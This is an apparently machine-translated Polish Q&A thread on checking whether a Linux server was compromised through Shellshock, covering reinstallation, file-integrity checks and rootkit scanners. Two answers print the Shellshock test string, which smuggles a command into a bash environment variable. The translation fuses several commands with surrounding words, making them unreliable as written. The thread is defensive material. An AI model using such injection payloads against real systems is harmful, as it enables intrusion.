Po chwili zauważyłem połączenia ssh z różnych miejsc, takich jak Chiny, które zwykle nie odwiedzają naszego serwera zbyt często. Łagodziłem bash jako środek awaryjny (byłoby miło mieć łatane źródła dostępne na stronie FSF, a nie tylko naprawdę stare źródła i pliki łatek (z których jedno początkowo nie działało poprawnie). System jest zaplanowany na pełną wyczyść teraz, więc jeśli ktoś szuka czegoś innego na temat ataku, możesz zapytać, ale zrób to wkrótce.

Frank Waller
źródło
3

Ta odpowiedź nie jest szczególnie związana z Shellshock, ale w przypadku każdego systemu, który może być zagrożony

druga uwaga: nie możesz być pewien, że odzyskałeś system po przejściu na system root. Twoim jedynym działaniem jest zniszczenie i ponowne uruchomienie systemu

Spróbuj uzyskać czystą kompilację statyczną rpmi uruchom polecenie rpm --verify --all. Powie ci, które pliki należące do pakietu zostały zmodyfikowane. Ale ponieważ możesz uruchomić go w zaatakowanym systemie, możesz nie ufać całkowicie wynikowi. Następnie możesz po prostu zrobić a, rpm -qaaby uzyskać listę pakietów, odtworzyć inny system z tymi samymi wersjami pakietów, a następnie find / -type f |xargs -r -n 100 md5sum |sortw obu systemach i zobaczyć, co się różni. Również jeśli właściwie zarządzasz swoim systemem (co oznacza, że ​​nie instalujesz niczego ręcznie poza / opt lub / usr / local / bin lub innym niezarządzanym miejscem), możesz wyszukać wszystkie pliki w systemie, które nie należą do pakietu, za pomocą find / -type f -exec rpm -qf {} \;. Powinien pokazywać błędy nieznanych plików. Pozwalam nie pokazywać pozytywów jako ćwiczenia ;-)

Aby zrobić to samo okresowo z dowodem kryptograficznym, istnieje narzędzie o nazwie, Tripwirektóre nadal możesz znaleźć jako bezpłatną wersję. Jest stary, ale spełnia swoje zadanie. Nowszą alternatywą jest AIDE, ale nie korzystałem z krypto, kiedy patrzyłem na to lata temu.

Istnieje kilka narzędzi, które mogą pomóc. Na przykład poszukaj pakietu rkhunter. Będzie skanować komputer w poszukiwaniu znanych rootkitów i wykorzystywanych plików.

Oczywiście narzędzia te powinny zostać zainstalowane i skonfigurowane, zanim system zostanie przejęty, a narzędzia te można również atakować, jeśli system zostanie pomyślnie zhakowany w celu uzyskania dostępu do konta root. Poza tym narzędzia te mogą być bardzo intensywne i spowalniać system.

Alex F.
źródło
2

Jedynym sposobem, aby dowiedzieć się, czy twój serwer jest zagrożony, jest posiadanie podpisu plików i porównanie z nim bieżących plików. Niemniej jednak możesz sprawdzić, czy jesteś wrażliwy.

  1. nie możesz. Można założyć, że jeśli komputer rzeczywiście jest zagrożony, zwykłe narzędzia monitorowania (ps, top, lsof, ...) zostały zastąpione podobnymi narzędziami, których wyniki wyglądają normalnie, ukrywając podejrzane działania
  2. Nie. może znajdować się w dowolnym folderze z plikami wykonywalnymi.
  3. wszelkie pliki wykonywalne lub skrypty (pliki binarne ELF, skrypt .shell, ...), w tym zwykłe narzędzia do monitorowania
Manu H.
źródło
-3

Jak sprawdzić, czy twój Linux jest zagrożony.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Jeśli jeśli powróci

vulnerable
this is a test

ty jesteś.

Aby uruchomić aktualizację, w katalogu głównym uruchom następujące polecenie

sudo yum update bash
PJunior
źródło
16
-1 To sprawdzenie, czy bash jest podatny na ataki, a nie, czy rzeczywiście został zagrożony.
Calimo
1
Zakłada również, że działasz, yuma nie inny menedżer pakietów.
DavidG
-3

Możesz sprawdzić, czy jesteś podatny na zagrożenia, uruchamiając następujące polecenia (kod dostarczony przez CSA). Otwórz okno terminala i wprowadź następujące polecenie w wierszu $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Jeśli twoje bash NIE jest aktualne, wydrukuje:

vulnerable
this is a test

Jeśli twoje bash jest aktualne, zobaczysz tylko:

this is a test

Więcej szczegółów dostępnych jest za tym linkiem .

Manu Somaraj
źródło
1
Pytanie dotyczyło wykrycia, że ​​serwer został przejęty , a nie, że jest podatny
Gareth
prosimy o przeczytanie innych odpowiedzi przed opublikowaniem jednej bardzo podobnej do odpowiedzi, której wynik jest niski, ponieważ NIE odpowiada na pytanie.
Manu H